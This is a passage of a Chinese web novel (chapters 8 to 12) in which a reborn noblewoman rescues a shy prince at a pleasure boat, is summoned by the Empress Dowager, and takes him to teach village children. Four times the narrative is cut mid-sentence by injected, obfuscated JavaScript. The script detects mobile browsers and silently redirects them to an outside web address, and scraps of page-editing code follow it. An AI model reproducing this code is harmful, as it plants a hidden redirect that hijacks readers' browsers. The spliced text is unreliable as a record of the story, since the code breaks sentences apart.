端的上是翩若惊鸿,婉若游龙。
看得台下的一众男子眼都直了。
才子好美人,虽是烟花之地,有了这群文人骚客,便总能锻造出些所谓“佳话”来。
一舞毕,画舫月理楼的妈妈——花娘,走上了台,拉过舞妓的手。
“老规矩,今夜想与谁共度春宵,便由素歌姑娘抉择。美人心意总是琢磨不透,各位公子可莫怪呀。”
素歌精致的面容露出得体的笑,美目流转在台下的男人之间,自带撩人的气场。
“快选吧!”
“是啊,素歌姑娘选我呀!”
若被素歌姑娘选中,绝对能成为京城一大令人艳羡之事。
起哄之声一浪盖过一浪,却迟迟不见人行动。
约过了一盏茶时间,素歌才忽然停下目光,款款走下台,走过了一群
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453221|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人。
被错过的人是满脸失望,后头的人却是愈加兴奋。
她的步子恰走向太子的方向,众人见素歌看中的竟是太子,哪管心中再失望,也不敢多说什么。
哪知,她却停留在太子的身边,目光落在太子身边之人上。
“公子,与小女共度良宵,可好?”
众人将目光集中在此人身上。
几个眼尖之人,立马认出这便是近日传言中重现在人们视野的四皇子。
素歌姑娘人美,眼神却不太好啊,不选太子殿下,却选这个废物皇子?
“素歌姑娘可知,身边这位可是太子殿下,还是好好考虑一下?”
“身为君子,自然是美人说什么,便是什么了。”太子容钦擒着笑,喝了口小酒,看戏般看向容适,“你说是吧,四弟?”
容适紧抿着唇,说不出话来。
不知是哪个大胆的,喝多了酒冲上了脑,竟是喊出一句:“四皇子生性懦弱,上次诗会落荒而逃,怕是配不上素歌姑娘!”
“……”
又是这般……被人恶意或失望的眼神包围,充斥的嘲讽不是从耳边响起,而是在脑海里翻涌。
容适开始觉得头晕目眩和反胃,想说的话一下子被禁锢在了喉间,握紧的手也止不住地开始发颤。这次发作得比此前更甚。
他不想这样,却无法控制自己。
忽然间,琴音再次乍起。
已然垂下的珠帘后边,突然多了一女子曼妙的背影。
着装没有素歌华丽,也没有过多的装饰与点缀,可纤细的身姿,如玉的骨感,瞬间就能令人印象深刻。
所有的目光都被台上之人吸引走,忘了容适的存在。
鼓点响起,女子足尖轻点,皓腕撩动,演绎出不一般的韵律。
若说那素歌姑娘的舞风情,那这位女子的舞则是柔中带刚,不显世俗,不入凡尘。
一位男子直接叫住了花娘,“这位姑娘瞧着甚是不错,既然素歌姑娘已有中意之人,不如便将这位姑娘给我如何?”
花娘也是奇了,连她也不知这台上的姑娘是谁,本没有这一出呀!
这位女子蒙了面纱,可移步转形,手足都是用了力的,别有一番意蕴。
只见她一个步调偏飞,稳稳落下舞台,速行至素歌姑娘身旁,执起一人的手。
众人还未反应过来发生了何事,女子便拉着人起身一转,出了月理楼,不见了身影。
徒留下一众不明所以的宾客,眼带促狭的太子。
出了月理楼,温雪拉着容适,避开了其他人的视线,到了一个偏僻的角落,正好在主楼的背面,随荒凉,却可以看到湖面的景色。
温雪驻足,放开了手,揭开了面纱。
容适看了两眼自己空了的手,又看向温雪。
果然是她,找到她了。
她下台走近自己的时候,他只看了一眼,便认出了她。
他的心开始跳,觉得自己该说些什么。
“原来你,你是这的舞妓。”
温雪哭笑不得,她一场别样的“英雄救美”,却被对方当成了舞妓。唯一可喜的是,可见她跳得还不错。
要知道,自前世以来,她可是多年未曾跳过舞了。
“若我真是舞妓,你会瞧不起我吗?”
容适忙摇头,生怕被她误会,“怎会!我一直在寻你……”
来这种地方寻她?
温雪转念一想,今日之事,又是太子邀约,太子怕不是故意的吧?
心中不平,便更放缓了语气:“无法面对这么多人,往后便不要勉强自己。”
容适眼中透出一丝讶异,随即生出些许的自我厌弃,“你怎么知道我……”
温雪打断他,声色如湖底的月光,“子安,有些事无需说出口,自然会明白。”
一字一句,如泠泠清水,将他的不安除去。
他的心逐渐平复下来,“那往后,我该如何寻你?”
“每月逢七,我们便在百花亭见。”
“好。”
月光缱绻,躲进了夜色里。
这般,倒真如幽会了……
温雪羞得侧过身,一言不发地看向湖面。容适却转头看她的侧颜。
她在台上舞动的模样浮现在他的脑海,似一幅绝美的画卷。
他轻声道:“往后别这般了。”
因你太过美好,令人忍不住……想藏起来。
9. 第 9 章
画舫一行,温雪波折着实不少。
那夜,她本想溜进画舫便罢,谁知,溜进去才知晓里面的楼与路有多繁杂。
直到她在偏僻的楼侧驻足片刻时,远远见到一张熟悉的面孔——素歌。
没想到,素歌便是她那日在百花亭救下的女子。
怪不得她如此精致貌美,原来是画舫最出名的舞妓。
本想上前打个招呼,却被一位陌生男子占了先机。男子上前,素歌恭恭敬敬地鞠了一礼。而后,交付了一样什么物什。
温雪没想到,曾在话本里看的那些才子佳人,风流韵事的故事会让她亲眼见到!
这可机会难得,她暗暗跟了上去,结果一进去,便是进了台子幕后。
那男子不知去向,素歌梳妆打扮,一舞倾城。
从她的角度,能分明地看见台上台下的人,也清楚地瞧见素歌走下台,在容适面前停下。
这是她第一回见到他面对众目睽睽时的不适,暗道不好,于是性子一急,便有了台上一舞这一幕。
结果就是,做了一回“英雄救美”,却惨遭哥哥一顿挨批。
以哥哥的口吻,是如此说道:“你一个未出阁的姑娘,居然跑去青楼跳舞?!你还真是大胆,什么事都做得出来!”
任她好说歹说,才没将此事告知爹娘。
过了几日,温雪便听说,太子邀众世家去往青楼一事,传到了皇上耳中。皇上斥责太子愚莽,禁足半月。
这位太子爷不务正业便罢了,将容适也带去那地方。
诗会一次,画舫一次,她可算是记上了。
温雪想,容适不喜热闹,不喜人多,也无法正常交流……那便罢了。
她便不强迫他改变了,似乎比起上一世狠戾的模样,这般软儒的性子,也是不坏。
这回见他,她特意将容适带往了一条清冷的街市,在城西临近城门之处,说的上是偏僻。
天色灰蒙蒙的,柳絮四处飘散,这条街市并没有多少摊贩,顾客也寥寥无几。
并不如何热闹的角落,有一人一铺,那人举着一勺糖浆,在台子上写写画画,然后台子上就插满了一排糖画。
路边多是纸、竹为材料编制的小玩意儿,手艺精巧,极是好看。这会儿又见着了糖画儿。
小时候的温雪就很喜欢糖画,喜欢看那些卖糖画的摊贩画各式各样的图案,又好看,还好吃。
温雪看向容适:“你可尝过糖画?”
他不解:“那是何物?”
也是,他久居深宫,过去也想必很辛苦,怎会尝过这些东西。
温雪拉着他在小摊前驻足,这位店家画得极为精妙,似真的作一幅画一般,将糖画中的动物画得惟妙惟肖。
“店家,可否画些其他图案?”
“姑娘想绘什么图案?”
温雪想了想,“给我绘一只兔子吧。”
店家熟练地操作,拿起勺子起了糖浆,在炉子上勾勒几笔,一只兔子的模样便出来了。
温雪拿上糖,从兜里掏出两文钱,接过糖画,递给了容适。
容适小心翼翼地拿过杆子,执于手中,却没有要吃的意思。
温雪奇怪:“怎么不吃?”
“你送的,吃完便没了。”
温雪哭笑不得,“看来我得送你一个不能吃的。”
说着,她便见到街边一家店,桌上摆放着各式精雕木刻。
“这些是佩印吗?”温雪驻足于这家铺子,拿起一个木质的小物什,问道。
店家抬头笑着说:“是,这些是花押印,您若是想要,老夫也可以为二位设计一番。”
花押印就如一个人的个性签名,文人墨客多有自己的花押印,用于书画署名之类。
温雪转头看容适:“你可有这个?”
容适摇了摇头。
“给他刻一个吧。”
店家很是乐呵地应下,笔走龙蛇,三两下便为他设计好了一个花押样式,写的是“子安”二字。
温雪瞧了两眼,草法牵连,笔法精湛,极是精妙,便在店家这儿挑了一个看着颇为精致的印章样式,可惜店家是小成本生意,用的料都是木头,于容适的身份来说,还是低劣了些。
将制作好的印子交到容适手中,“等日后,你定会换个换象牙、玉制的。”
哪想,容适执拗地摇了摇头,将东西收入袖间,“我不换,我只用这个。”
她不禁想起曾经的未来,他可是要用玉玺的,如何能再用这样的印章。
可见他如今的神色,断没有那般威严狠戾。
现在性子如此乖巧的男人,未来竟然会一人之下万人之上,不可思议地想,他究竟经历过什么呢?
不想这么多,温雪一路走走停停,见到不少女子的新奇玩意儿,什么步摇、华胜、花钿,璎珞珠花,瞧见好看的,她就忍不住手痒拨弄试戴一番。
同容适游玩的日子总是尽兴,在她面前,容适似乎可以像个正常人一般交流,同样的,在他面前,她也不必总端着架子当个千金小姐。
以至于她总期待下一个与他约好的日期。
可这一日,她没有等来容适,却是等来一道宫里来的旨意。
太后要见她。
宫内戒备森严,在刘公公的指引下,温雪才到了慈宁宫前。
一路上,她不住地想,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453222|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何时与太后有过牵扯?为何太后会召她前来?
上一世,她对太后之事知之甚少,只知太后念佛,不久后便去了大明寺礼佛,似乎……便是在佛门西去的。
而她,从未与太后有过瓜葛。
如今太后召她一事,不知是好是坏。
入了殿,便见榻上的妇人阖着眼,听到了刘公公的话,半晌才睁开眼。
神色清冷,语气自带威慑力。
“你就是尚书家的独女温雪?”
温雪跪下,恭恭敬敬地磕了一头。
“是,小女见过太后娘娘。”
太后开口,语气不疾不徐:“听闻你还有京都才女的名号?”
温雪心中困惑,又有些不安,“小女不过自幼多读了几本书,才女之名委实不敢当。”
没想到,便听太后道:“也是,身为女子如此不知礼义廉耻,还能叫什么才女?”
温雪心中一惊,又即刻镇定下来。她自认没有做过什么出德之事,太后又与她毫无瓜葛,何出此言?
“小女愚钝,还请太后娘娘明示。”
见她面不改色,太后冷笑一声,“你以为我在这深宫中便不知,你在外有意接近老四,老四一个痴儿,身上有什么利益可图?你不就是看中了他皇子的身份吗?怪不得那么多世家公子求娶你都看不上,原来是心系皇家大院,一心想与皇家人攀上关系。”
这番话让温雪心中一阵翻腾,又惊又疑。
上一世的记忆中,她从未听闻太后与容适有什么关系,因此她着实没想到太后寻她来是谈论关于容适的事。再者,她也未与容适做什么出格的事,太后又怎会突然指责起她与容适的关系?
沉了沉声,她故作不解:“太后娘娘,小女不知,这位四皇子究竟是什么人物?小女何时与四皇子有所牵扯了?”
“别装疯卖傻明知故问,你近些时日总教唆他出去与你游玩,还敢说不是想利用老四?”
温雪恍然大悟:“原来容公子竟是四皇子。太后娘娘此言差矣,小女虽然身份卑微,但绝无攀上皇家之意,小女这几日同容公子相识,是因着他救过小女,小女怎会对自己的恩人怀有不轨之意?”
“救过你?”
“是。那日百花亭,小女不甚伤了腿,若不是容公子及时出现,将小女背出林子,小女恐怕……不知会遭受些什么!”
温雪说得诚恳,原想太后应当半信半疑,哪想太后却是沉默半晌,有些不敢置信道:“你说……他背你出林子。”
“……确实如此。”
温雪有些懵,忽然想到什么。
下一秒,太后露出个满意的笑容,连道三个“好”字。
10. 第 10 章
“小女不明白,太后娘娘所言何意?”
太后话锋一转:“你对老四,知之多少?”
温雪心道,她须得谨言慎行才是。
“小女冒昧,此前确实听闻四皇子生来与凡人不同,如今几番接触以来,才知道传言便是传言,做不得数的。”
“哦?”太后挑了挑眉,示意她继续说下去。
“容公子……四皇子虽于常人孤僻寡言、不善交往了些,可绝非传言说的那般……痴傻,反而是绝顶聪明之人。”
若不然,怎会喜欢天工、九章那类书,就在上一世,她也是知道他是个聪慧之人。
太后忽然笑了笑,先前的威压和气势一敛,“你倒是惯会花言巧语,老四的个性……”
长长叹了口气,“你可知,他自小便与人不同,老大老二年三岁便能识字,五岁便能咏诗,可他,直到四五岁还说不出话来,也对旁人爱答不理,皇宫上下都将他当障儿,到最后,他母妃也因他失宠,在他八岁那年自缢而亡。可他……却是一滴泪也未曾流。”
太后像是回忆及了什么,长叹一口气。
“五年前,哀家在后山树林里遇到老四。他一个十岁的孩子,躲在树干后边寻些野地里可以吃的野菜,才知他便是这么过活,面黄肌瘦如同七岁小儿,便将他带回慈宁宫。如今,性子总算是好了些,但于常人,还是相差甚远。”
温雪喉头紧了紧,从哥哥那她便已经有所耳闻,可仍是知之甚少,没想到是这般的。
一个无权无势,无父母的庇佑,在吃人不吐骨头的皇宫里,该活得多么艰辛。
所幸的是,他依然长成如今翩翩少年的模样,且若不是在人多时,周围人指不定瞧不出他古怪的性子。可这,正是他的症结所在。
太后同她说这些意欲何为,温雪心中已然有了些想法,却不敢再妄自揣测太后的意思。
静默了片刻,太后让她抬起头来,睨着眼,细细打量了一番她的脸,道了句:“倒是个美人胚子。”
而后正色道:“方才吓唬吓唬你罢了,依温尚书家的地位,将你送进宫也未尝不可,只不过……哀家要你做一件事情。”
被那句“送进宫”吓了一跳,温雪低下头,恭恭敬敬地听着。
“请太后娘娘指示。”
太后道:“我要你将老四变成正常人的性子,你可明白?”
此言一出,温雪没有多少惊奇,只觉得此事有些难办。她本想,若是容适当真做不到与同辈子弟一般生活,那便也不勉强他,可如今太后如此强硬……
她该如何与容适相处?
温雪鞠了一礼,“小女不甚明白,可否请太后再明示些,将四皇子的事,多告知小女一些?”
太后点了点头,继续看着她道:“老四生性孤僻,这些年在宫中深居,更是极少与人交流,我这太后,总还比不过与他作伴的一只野猫,好不容易才叫他与老大来往走动,这太学,却是如何都不肯去的。”
言及此,太后不似高高在上的太后,反倒像个普通的替子孙担心的老妇人。
“如今,你与他交往得好,哀家便希望你有办法,像个正常人一般,入太学,进德修业。”
太学对这些子弟来说有多重要,温雪再清楚不过,不仅是知识、地位的象征,更是未来仕途的重要铺垫。
但凡有些权势的公子,都会被送往太学,进学修礼。
将他变得像个正常人一般与人相处,不是像这一世般畏生孤僻,也不似上一世一般偏执冷漠,这也是温雪的期望。
温雪应下了,太后看着她的眼神,肯定了心中的想法。
或许,找个人来陪着他,便是她这一生能为这个孩子做的最后一件事。
看着温雪退下的窈窕身影,她不禁忆及几十年前,自己也还是这般青葱少女之时,便入了宫,自此便在深宫之中百般挣扎,只为找寻生存之道。
当年那些妃子子嗣,早已没了个七七八八。坐到这个地位,她做过多少狠辣手段,哪里记得清楚。
她自得于她的高明手段,能把控得住人心,到头来,回头一看,身边之人陆续消失,竟然只剩自己一人,孤苦无依。
前半生腥风血雨,后半生吃斋念佛。能为这个孩子做些事,也算是弥补心中有所亏欠,安息那些午夜梦回里,嚎啕或啼哭的灵魂。
*
“温雪……”
容适的声音低低地在耳边响起。
温雪回过神来,对上了他的眼神,他却赶紧将目光挪开了。
他的神色晦暗不明,抿了抿唇。
虽然他总不说话,温雪却看得出,他定是为她的走神而苦恼了。
依照他的性子,此刻指不定会觉得她走神,是他的缘故。
果然,他开口道:“可是我……让你觉得无趣了。”
温雪轻笑,眼里似有光,“怎会,我只是在想,京城里这些个地方咱们都去遍了,接下来该去哪里玩呢。”
说来是去遍了,实则容适还是不愿去些人多的地方。
温雪歪着头想了想,“子安,你可是不愿与人接触?”
说到这个,容适神色似乎想到了什么不太愉快的回忆,本能地有些抗拒。
“我讨厌那些人的眼神。”
温雪了然。
此间她听闻不少关于他的过去,也知道了,他的母妃曾是皇帝后宫的宠妃,以貌美夺去了多少宠爱。
宠妃之子出生,皇帝也加倍宠爱,本该自小遍受尽人艳羡的目光,做个夺目的天之骄子,老天爷却不尽人意的。
该说是病吧,自小皇帝逗他,母妃宠他,他都如一个木头一般,感知不到/
于是,那些艳羡的目光,宠爱的眼神,逐渐变成了嘲弄、恨意。
或许正是因此,他才无法接受暴露在众人的视野里。
可是,这世上不是所有人都会带着异样的眼光看待一个人啊。
温雪想,他能接受带着善意的她自己,一定也能接受善意的他人吧。
先习惯,再坦然面对,想必会是不错的开端。
“子安,我带你去个地方好不好?”
她语气温和,容适虽然有片刻的犹豫,但还是应了下来。
温雪的话,他总是愿意听的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453223|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片刻后,二人站在一所不大的房子前。
一间木厅,几处房间,门口是青石板地,留出一片稍许空旷的场所。屋里,夫子的沉稳的教导声传出,伴着一些小孩儿稚嫩的童音。
朗朗书声,在温雪耳里格外动听。
天启向来重才学,大大小小的学堂甚多。
温雪尚在年幼时,没法子常常溜进太学,便常在京城里乱跑,于一些小学堂间,蹭人家的课来听。
有一回夫子不在,她蹲在这间学堂外偷听,遇到几个孩子背错了诗句,于是耐不住性子跳出来,指出了他们的错误,引得一阵赞叹。
正当她洋洋得意时,恰好遇到夫子进来,看着她不解道:“你是哪家的孩子,我怎没见过你?”
她灵机一动,礼貌又软儒道:“回夫子,我不是这儿的学生,爹娘一穷二白,没有钱供我上学堂,这才跑来偷听夫子讲学呢。”
夫子是个怀怜悯之心的,见此便想收了她做学生,她偶尔来,夫子便偶尔教她些诗文。
直到有一天,哥哥发现了她偷跑出来,担心她被爹娘发现了责罚,才告诉了夫子她是他妹妹,并非穷苦人家的小孩。
她总记着夫子叹了一句:“原来是个女娃娃,生在天启,可惜了些。”
不知,这一世回来,夫子可还在。
“子安,咱们见见这些孩子,如何?”
容适不搭话,温雪也摸不透他的反应。她想,童子的眼神自然是天真无邪不带恶意的,即使这般他也会觉着难受吗?
此时,听闻夫子道暂且歇息,放他们出去玩之时,一群小孩儿撒欢地跑了出来。
留意到庭中站着两个陌生人,这些孩子在他们面前驻了足。
一个小男童眼带新奇地跑到这两个陌生人前,用稚嫩的嗓音道:“你们是仙人吗?为何长得如此好看!”
没想到一个小孩儿竟能说出这样的话,温雪眨了眨眼,觉得有些有趣。
“你说得不错,我正是天上来的仙姑,我身边这位也是神仙哥哥。”
听温雪如是说,这些童子很快围了上来,“你们来凡间做什么?”
“我们啊,来凡间检查你们有没有好好听夫子的话!”
“哇——”孩子们欢快地凑上来,“我们可认真了,夫子叫我们背论语,我们都会了。”
这些都是民间普通百姓家的孩子,天真无邪,如此好逗,温雪觉着有趣得紧。
容适却拉了拉她的袖子,道:“为何要如此说?”
他们既不是仙人,也不是仙姑。
温雪忽然想起他不会转弯的性子,无奈解释:“我只是逗孩子们玩罢了……”
“逗孩子们玩?”
“……便是说说玩笑话的意思。”
容适继续保持一脸懵懂的模样。
温雪没法子了,“你还记得我雨天那日说的吗?”
雨天那日,她对他说了什么?
哦对了,她说,那是善意的谎言。
“所以当时……你也在逗我玩吗?”
温雪:……
如此举一反三,竟然让她无法反驳。
11. 第 11 章
正当温雪不知如何回应时,夫子听闻外头的动静,走了出来。
“何人在此?”
童子们唤道:“先生,这里有两位仙人!”
这下倒让温雪有些不好意思了,本是对着小孩胡说八道,竟让夫子听了去。
温雪尴尬地笑了笑,对夫子有礼地打了声招呼:“见过先生。”
未曾想夫子见到她,目光流露出些许讶异。
“这位可是当年来老夫课上听学的女娃娃,小雪?”
温雪也有些惊奇:“先生竟还记得我吗?”
“哈哈,如此古灵精怪有才气的小姑娘,老夫自然是不会忘记,只是多年不见,当年丫头还是小子都分辨不出的娃娃,如今竟长这么大了!”
“先生当真是说笑了,当年我尚且年幼无知呢。”
夫子爽朗大笑,笑声落下,才将目光落到了容适身上,“方才见着你光觉着惊讶,着实无礼了。请问这位公子是?”
温雪留意到,他下意识地向后微微退了半步。
“这位是容公子,是我的友人。”
她的话音刚落,便感受到一道目光落在了自己身上,半晌才离开。
夫子向容适以礼示意,容适面上不显,却仍是有些局促。
温雪轻轻拽了拽他的袖口,向夫子道:“容公子不善言辞了些,先生可莫要见怪。”
夫子大方摆手,“无妨无妨。”接着又问起温雪的来意。
温雪答:“我听闻学堂的童子们越发多了,想来先生应当很不容易。”
着实,天启兴盛文史教育,却是在王孙贵族中盛行,在普通百姓之中,仍难做到家家户户的孩子有书读。
寒窗苦读数十载,到头来可能也无法顺利走上仕途,可对于那些无力供养的门户来讲,便是寒窗苦读的机会也没法拥有。
因此,夫子承办了这所学堂,低价收留了许多穷苦人家的孩子。可他也明白,这终究是治标不治本。
谈及此处,夫子不由叹气,语气中还是带了些幽怨。
“先生切莫如此忧虑,近日便让我们教教这些孩子可好?”
夫子听了,惊喜又有些不可置信:“你们二人?”
“不可?”温雪皱了皱眉,有些担忧。
夫子却连道:“可,可。这些孩子都是悟性极好的,他们喜你们,定能听讲。”
温雪“自作主张”地便将此事如此说定了。
约一炷香功夫之后,温雪已然同童子们打成一片。
玩闹了一阵,学堂也该授课了,她拉着容适,愣是将他也拉到屋里。
这些小孩儿拥入屋内,几乎没有安分地回座位,而是围在他们俩身旁。
一个清瘦的,眼神亮闪闪的男童直接拽住了容适的小腿,眼里带着好奇,“神仙哥哥,我听闻神仙平日里住在天宫里,可否给我讲讲天上的故事?”
被孩子猛地一拽,容适不太适应地僵持在原地,“我不是……”
他刚想同他说自己不是什么“神仙哥哥”,可脑中忽然想起了在门外时,温雪说的话。
“我只是在逗孩子们玩罢了。”
逗人玩……该是什么样的?
霎时间,他收住了话脚,重新开口:“我,我不能将天上的故事告诉你。”
男童有些失望:“为何?”
“因为……这是天界的秘密。”
不止是孩子一脸惊奇,温雪也惊奇地朝他看去。
她方才可是没听错吧?容适也学会了同孩子说玩笑话!
容适一个转头,忽然触及了温雪了目光。
肉眼可见地,他的面颊同耳尖都泛起了红,在他白皙的肌肤上,竟是比女子的胭脂还要显眼些。
上一世如此面无表情的容适,原来还有这一面?在一本正经地胡说八道时,他竟是会不自主脸红的啊。
温雪嘴角噙着一抹难以掩饰的笑,致使容适的目光投来,“我可是说错什么话了?”
温雪连摇头:“自然没有,只是说得有趣,令人听着生趣罢了。”
接着,便顺着他的话同孩子道:“我们其实是文曲星座下的弟子,偷偷跑来凡间,细细看看你们是否用心读书,听先生的教导。”
孩子们听了,你一言我一语地答道:“先生的教诲我们便没有不听的,全都学得可好了。”
“既然这般,便让这位神仙哥哥考考你们,看你们答不答得上来,如何?”
孩子应得欢快,充满“斗志”地将目光投向了容适。
容适沉默不语,似显得有些挣扎不安了。
一张张五岁小童稚嫩的面颊,一双双盯着他瞧的眼睛,记忆似又要开始回溯暗无天日的过往,那时,他也不过与他们一般大……
“子安?”
一声轻唤,容适回过神来。
涣散飘忽的神志瞬间清醒,重新正视身边之人,他忽然定下了心神。
是了,还是不一样的,此刻同过往,哪好放在一起比较的。
他思索良久,目光匆匆扫过桌面上摆放的写了歪歪扭扭文字的纸张,开了口:“那那我便问……你们,每日练字的宣纸,都是以何为材料制成的?”
此问一出,孩子们登时面面相觑,不知如何作答。他们几乎每日都用,怎么就从未知晓呢。
见没有孩子能答上来,容适解释道:“是木头做的。”
拽着他大腿的男娃娃一脸惊叹:“木头如何能做出纸来?”
容适虽然有些许为难,但仍是磕磕绊绊地讲解了一番,没想到,引得这些小萝卜头一阵惊奇雀跃。
容适平日与人交流太少,实在不善言辞,温雪觉得,他今日这番,恐怕要将他半辈子的话都讲完了。
原本她已经做好了结果并不如意的准备,可喜的是,成效居然是极为不错的。
“神仙哥哥知道的真多呀!”孩子们听完后扑腾地更愉悦,像一条条小鱼儿似的往容适身旁蹦。
温雪觉着有些好笑,懵懂的小娃娃,着实可爱得紧。
她暗自瞥见,容适方才已经消退了颜色的耳尖,又一次微妙地泛了红……
不得不说,约莫是尚且年幼之故,孩子们正是好奇好问之时,听什么都是有趣新奇的,不会觉得无趣或烦扰。
不一会儿,他们便被容适吸引了注意力,总缠着他讲故事。
温雪默默退到了一旁,只看着容适努力说话,“孜孜不倦”的模样,她心中顿觉轻松宽慰了些许。
她觉着,此时的容适其实也正如一个孩子。既然难以与同龄子弟交流,便从与孩子们交流起步。虽说深宫大院里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453224|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,环境更复杂,但此事还需一步步来。
回程之路上,温雪察觉到,容适的眼里已然可以看出些许情绪了。
“子安,瞧那些孩子,你还会觉得无所适从吗?”
容适诚实地摇了摇头。
无所适从只是短暂的感知,可强迫自己接受某些事之后,便会觉着没有自己想象中那样厌恶。
至少温雪在他身边之时,他便是如此。
趁着机会,温雪柔了语气,“子安,你可知,这世上不是所有人都充满恶意,更不必因那一部分人的恶,弃了多数人的善。”
容适定定地看进她的眼里。第一回见时,他便是被她那双眼吸引,她不加掩饰的纯粹目光,宛如暗夜里忽然出现的星。
藉由这颗星的指引,他又遇见了他人生中大部分的光明。
果然,她是这世上过于美好的存在。
以至于,他开始渐渐习惯、沉迷于这样的陪伴。
他忽然间心生一丝无端的恐惧,若是哪一天失去她,他该如何自处?
温雪看他不说话,心道他应当是听进去了。
她相信凭容适的聪慧,定能恢复成一个常人一般,今日能学会说玩笑话,明日便定能与常人来往。
她知晓,他只是,需要些时日罢了。
*
尚书府。
近些日子同容适去了好几回学堂等地,眼见容适快速的转变,温雪心情十分不错。
脑中浮现他孩子们对话的模样,她不由得觉得欣慰,照这般下去,她想自己很快便能计算下一步计划了。
一路行至温珩的书房外,刚要敲门便被府上的一位丫鬟叫住了。
“小姐可是来寻少爷?少爷此刻应当不在此处。”
温雪不解:“哥哥不在?”
“回小姐,少爷应当被大人喊去书房了。”
“又去了?”
一路上,温雪的心中生起些许疑问。
爹爹书房重地,若非要事,无关人员不可进入,在他们府上,这是项被众人默认的规矩。
今日她却频频听闻,哥哥去了爹爹的书房。虽说并非绝对,但这二人,定是有事相商。可哥哥并非朝廷官宦,现今不过是个仍在太学就读的学子,依照上一世的记忆,哥哥当不问政事,直至被陛下封官之后……
走到书房门口,温雪发觉房门紧闭着,四下没有他人伺候着。
她凑上前,只听屋内断断续续传出几声对话,她只能依稀分辨极小一部分词句。
“二皇子近日这般动作……既是如此……”
“……协助……牵连……”
“……”
“……此事还需从长计议。”
对话声结束,房内陷入了沉寂,听见房内匆匆传来的脚步,温雪转身离开,回了自己的院子。
她心中却隐隐不安。她听见了,二皇子……他们同二皇子有何关系?二皇子的结局,似乎也不大好,但那是在容适上位之后的事。
回想起上一世暗无天日的日子,她便有些慌乱了。
莫非……当真与上一世那事有关?
不,此刻下定论还言之过早,遣论二皇子与他温家并无瓜葛,便是到最后,她也只是在容适口中听过他。
兴许只是她想多了而已。
12. 第 12 章
“这是……”
容适看着温雪递给他的衣服,生出了满头疑问。
不仅是给了他一身衣袍,温雪身上也穿着一身不大合身的同款服饰,底色为浅蓝色,白边以真丝绣了祥云的图腾,清明秀气,透出书生之气,但袖口收紧,显得更简洁便捷。
她的长发也被高高束起,掩去原先活泼灵动的少女模样。
温雪狡黠一笑,冲着容适使了个眼色,“这是……我从我哥哥那儿偷来的衣服。”
说完,没等容适开口问,便将他一把塞进了马车里,“你先在马车里套上这身,穿好了我再上来,今日我再带你去个地方。”
马车里的人登时安静了下来,片刻后才传出细微的布料摩擦声。
温雪不由得红了红脸,离远了些。
她在想什么呢……
正当她狠狠揉了一把自己的脸,身后的帘子忽然就被打开了,帘子后边传出少年人清脆的声音:“我换好了。”
温雪回过神,转身正巧对上他的眼睛——他现在已经学会不去躲避别人的目光了。
嗯……看起来好像还不错。
这太学的服饰果然是充满了书生气,搭配到容适这般的少年身上丝毫不违和,还让整个人的气质干净了许多,将他眉间飘散的阴郁也抹去,倒像是个世家的翩翩少公子。
虽说是太后的要求,可此时,温雪却是由衷地想着,若能让容适自愿入太学,同其他公子那般,书生意气,挥斥方遒,也当是不错的。
书院轩门内,无市井喧嚣,笑语指江山,本就是颇好的意境。
容适身着清爽的绣缎锦袍,温雪便想起一首诗:公子只应见画,此中我独知津。写到水穷天杪,定非尘土间人。
思及此,温雪不由抿唇将出声的笑憋住了,心道,怪不得说,情人眼里出西施,他便是上一世那般不同,也让她觉着怎么都心声喜爱。
“你在笑吗?”
呀,被发现了。
听到容适的声音,温雪敛了敛神色,一本正经地反驳他,“我哪有,定是你看错了。”
转而一想,这些时日下来,容适似乎已经对周围之人的神色敏感许多了,便是连她抿唇憋笑这般的细微表情都被他捕捉到了。
然而,她不知道的是,容适不过是对她一个人如此。
*
“你这人究竟怎么当差的?!”
太学,一男子正对门口的侍卫大吼大叫,怒气之下,嗓门儿大得比街上叫卖的摊贩还甚。
